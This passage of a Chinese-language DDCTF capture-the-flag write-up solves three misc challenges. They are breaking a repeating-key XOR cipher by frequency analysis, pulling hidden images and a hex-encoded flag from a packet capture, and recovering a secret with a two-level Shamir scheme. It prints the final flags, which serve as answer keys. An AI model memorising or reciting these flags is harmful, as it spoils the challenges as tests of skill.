5876e9cae1595a70e385f9535e61ad9dfc485138f982f01c7f6ae884f6541979e38eb57e4b71f983e6541738c99fe755577fad9efd59195fe898f85d5738e484e35d4a71e284b5535f38dd85f95d577ca1caf6534b7dadbafa50506be5cad6554970e898b57e4c6ae88be01c497dff99fa52577de1cae2594b7dad8fe35d5a6dec9ef0581538fb83f41c6b77e08bfb555834ad9efa1c7f6aec84f659196fe58fe759196ce58fec1c5c6bf98bf750506be58ff11c4d70e8cac57f195aff9ffb53196be48dfb5d556bad83fb485c74e183f259577be8cae648586ce485fb1c4e71f982b57a4b7de389fd1c5f79ee83f9554d71e899b54f4c68fd85e7481738de9ff65f5c6bfe8ce050197be285e5594b79f983fa521979e085fb5b196ce58fb56c5674e899b91c4d70e8cad34e5c76ee82b91c5876e9cae1545c38cf98fc48506be5caf448195ae18fe15f5174e893b56c586ae6caf653576ce484e0595d38f884e1555538c79ffb591929b4dea510196fe58ffb1c7f6aec84f659196bf898e759577ce898f058196ce2cae1545c38ca8fe7515876fec49f367f6ae287b5485171fecaf7595e71e384fc525e34ad9efd59195aff83e1554a70adadfa4a5c6ae387f0524d38ce85f1591979e38eb57f4068e58fe71c6a7be585fa501930caa9b37f6a31ad8be11c7b74e89ef654557df4cac55d4b73ad88e055556cad9fe51c5876ad8fed485c76fe83e359197bff93e5485876ec86ec48507bad89f44c587ae486fc484036ada3fb554d71ec86f9451538f982f01c5d7dee98ec4c4d71e284b54b586bad87f4555774f4cafa5a1954f88ce14b587eeb8fb5147e7dff87f4521979e498b55a566aee8fbc1c5876e9caf41c5f7dfacadd595c6aadc2d2594b75ec84b55d4b75f4c3b5515c6bfe8bf2594a34ad8be61c4d70e8cade4e507dea99f85d4b71e38fb5147e7dff87f4521976ec9cec15197de09af953407de9caf8495a70ad87fa4e5c38fe8ff6494b7dad9ae7535a7de99fe7594a38eb85e71c4c6be484f21c7c76e48df85d1738cc86f452194cf898fc525e34ad8bb57f5875ef98fc585e7dadbffb554f7dff99fc484038e08be1545c75ec9efc5f5079e3caf4525d38e185f2555a71ec84b91c496ae29cfc585c7cad87e05f5138e28cb548517dad85e7555e71e38bf91c4d70e484fe55577fad9efd5d4d38e18ff11c4d77ad9efd59197ce899fc5b5738e28cb548517dad89e745496cec84f450406ce489f450197ae287f7591975ec89fd55577dfecae154586cad9df04e5c38e484e6484b6de08ffb485874ad83fb1c5c6ee884e1495874e193b55e4b7dec81fc525e38f982f01c5779fb8bf91c7c76e48df85d1738c585e2594f7dffc6b548517dada1e7555c7ffe87f44e5076e8cafc524d6ae28ee05f5c7cad8bfb1c7c76e48df85d196ee898e6555676ad9dfc485138eccaf3534c6af982b54e566ce298b55a566aad83e14f194da088fa5d4d6ba1cae7594a6de19efc525e38e484b55d1968ff85f953577fe88eb54c5c6ae485f11c4e70e884b548517dfe8fb5515c6bfe8bf2594a38ee85e0505d38e385e11c5b7dad8ef05f4b61fd9ef0581738da83e154196ce58fb55f5868f99fe7591977ebcae759557dfb8bfb48197be49afd594b38e68fec4f1979e38eb548517dad9fe6591977ebcaf8495a70ad8cf44f4d7dffcac06f1956ec9cec1c5b77e088f04f1538ff8ff2495579ffc6b54e5868e48eb54e5c79e983fb5b1977ebcac0115b77ec9eb5515c6bfe8bf2594a38ff8fe649547de9c49f366d70e8caf350587fad83e606195cc9a9c17a427ab88ca1055c2abcdaa30a0b2bbddbf45f097ebb8ca65d0f2dbfdca40c0f7ebc97"

enc_ascii = cc.decode('hex')
#
from collections import Counter
enc_numbers = [ord(ch) for ch in enc_ascii]
from itertools import izip, cycle


def shift(data, offset):
    return data[offset:] + data[:offset]


def count_same(a, b):
    count = 0
    for x, y in zip(a, b):
        if x == y:
            count += 1
    return count


def decrypt(c_num, k_num):
    return ''.join(chr(c ^ k) for c, k in izip(c_num, cycle(k_num)))


print ('key lengths')
for key_len in range(1, 33):  # try multiple key lengths
    freq = count_same(enc_numbers, shift(enc_numbers, key_len))
    print ('{0:< 3d} | {1:3d} |'.format(key_len, freq) + '=' * (freq / 4))
    # when we get the right key length, if there is repeating plaintext,
    # we have equal letters when we shift them over


key_len = 6
frequencies = []
for i in range(0, key_len):
    frequency = Counter()
    for ch in enc_ascii[i::key_len]:
        frequency[ch] += 1
    frequencies.append(frequency)

print ('guesses for most common letters')
key_numbers = []
for frequency in frequencies:
    k = ord(frequency.most_common(1)[0][0]) ^ ord(' ')
    print ('{k} -> \' \''.format(**locals()))
    key_numbers.append(k)

    others = ''
    for val, freq in frequency.most_common(10):
        others += chr(ord(val) ^ k) + ' '
    print ('Other common letters: {others}\n'.format(**locals()))


print ('decrypting text')
print (decrypt(enc_numbers, key_numbers))

解密结果

Cryptanalysis of the Enigma ciphering system enabled the western Allies in World War II to read substantial amounts of Morse-coded radio communications of the Axis powers that had been enciphered using Enigma machines. This yielded military intelligence which, along with that from other decrypted Axis radio and teleprinter transmissions, was given the codename Ultra. This was considered by western Supreme Allied Commander Dwight D. Eisenhower to have been "decisive" to the Allied victory.

The Enigma machines were a family of portable cipher machines with rotor scramblers. Good operating procedures, properly enforced, would have made the plugboard Enigma machine unbreakable. However, most of the German military forces, secret services and civilian agencies that used Enigma employed poor operating procedures, and it was these poor procedures that allowed the Enigma machines to be reverse-engineered and the ciphers to be read.

The German plugboard-equipped Enigma became Nazi Germany's principal crypto-system. It was broken by the Polish General Staff's Cipher Bureau in December 1932, with the aid of French-supplied intelligence material obtained from a German spy. A month before the outbreak of World War II, at a conference held near Warsaw, the Polish Cipher Bureau shared its Enigma-breaking techniques and technology with the French and British. During the German invasion of Poland, core Polish Cipher Bureau personnel were evacuated, via Romania, to France where they established the PC Bruno signals intelligence station with French facilities support. Successful cooperation among the Poles, the French, and the British at Bletchley Park continued until June 1940, when France surrendered to the Germans.

From this beginning, the British Government Code and Cypher School (GC&CS) at Bletchley Park built up an extensive cryptanalytic capability. Initially, the decryption was mainly of Luftwaffe (German air force) and a few Heer (German army) messages, as the Kriegsmarine (German navy) employed much more secure procedures for using Enigma. Alan Turing, a Cambridge University mathematician and logician, provided much of the original thinking that led to the design of the cryptanalytical bombe machines that were instrumental in eventually breaking the naval Enigma. However, the Kriegsmarine introduced an Enigma version with a fourth rotor for its U-boats, resulting in a prolonged period when these messages could not be decrypted. With the capture of relevant cipher keys and the use of much faster US Navy bombes, regular, rapid reading of U-boat messages resumed.

The flag is: DDCTF{b5f49e210662301ac0f6f3a6526106f1}

Wireshark

题目

简单的流量分析

wireshark.pcapng

解题

主要关注 HTTP 流量

  1. http.request.method == GET

    1. 125 -> http://tools.jb51.net/aideddesign/img_add_info
  2. http.request.method == POST

    1. 594 -> 1

    2. 3185 -> 2

第一个png文件需要使用 windows画图 或者 PS 打开,通过修改图片高度获取隐藏的部分

lien

拿到 key 之后去第一个地址解密第二张图片(图中选择文件名为1.png)

key

图片中隐藏的信息为:

flag+AHs-44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D+AH0-

hex2bin -> flag

DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}

决策联盟大会

题目

为了共同的利益,【组织1】和【组织2】成立了联盟,并遵守共同约定的协议。为了让协议的制定和修改更加公
平,组织1和组织2共同决定:当三位以上【组织1】成员和三位以上【组织2】成员同意时,才可以制定或修改协
议。为了实现这一功能,联盟的印章被锁在密码保险柜中,而保险柜的密码只通过Shamir秘密分享方案分享给【组织
1】和【组织2】的每一位成员。
现在,【组织1】的【成员1】、【成员2】、【成员4】,【组织2】的【成员3】、【成员4】、【成员5】一致同
意制定新的协议。请还原出这套方案的设计思路,按照这套方案的思路恢复出保险柜密码,取出印章吧!

以下为使用到的7个十六进制常数:

p =
C45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533
组织1成员1 =
729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E
组织1成员2 =
478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6
组织1成员4 =
BFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D
组织2成员3 =
9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61
组织2成员4 =
79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8
组织2成员5 =
2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510

解答

wiki上有详细算法说明,下面还有个 Python 脚本,拿过来改改

# coding: utf-8
from __future__ import division
from __future__ import print_function


def _eval_at(poly, x, prime):
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum


def _extended_gcd(a, b):
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y


def _divmod(num, den, p):
    inv, _ = _extended_gcd(den, p)
    return num * inv


def _lagrange_interpolate(x, x_s, y_s, p):
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p


def recover_secret(shares, prime):
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, prime)


def main():
    p = 0xC45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533
    a1 = (1, 0x729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E)
    a2 = (2, 0x478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6)
    a4 = (4, 0xBFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D)
    b3 = (3, 0x9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61)
    b4 = (4, 0x79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8)
    b5 = (5, 0x2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510)

    secret = [a1, a2, a4, b3, b4, b5]

    share1 = recover_secret(secret[:3], p)
    share2 = recover_secret(secret[-3:], p)

    secret = [
        (1, share1),
        (2, share2)
    ]

    share = recover_secret(secret, p)
    print(hex(share)[2:-1].decode('hex'))


if __name__ == '__main__':
    main()

运行结果

DDCTF{vF22holF5hl5q0WmrFZ5kZ1DBdWOGObk}

CATALOG
  1. 1. WEB
    1. 1.1. 滴~
    2. 1.2. 签到题
    3. 1.3. Upload-IMG
    4. 1.4. homebrew event loop
    5. 1.5. 欢迎报名 DDCTF
    6. 1.6. 大吉大利,今晚吃鸡
  2. 2. Misc
    1. 2.1. 真-签到题
    2. 2.2. 北京地铁
      1. 2.2.1. 题目
      2. 2.2.2. 解题
    3. 2.3. MulTzor
      1. 2.3.1. 题目
      2. 2.3.2. 解题
    4. 2.4. Wireshark
      1. 2.4.1. 题目
      2. 2.4.2. 解题
    5. 2.5. 决策联盟大会
      1. 2.5.1. 题目
      2. 2.5.2. 解答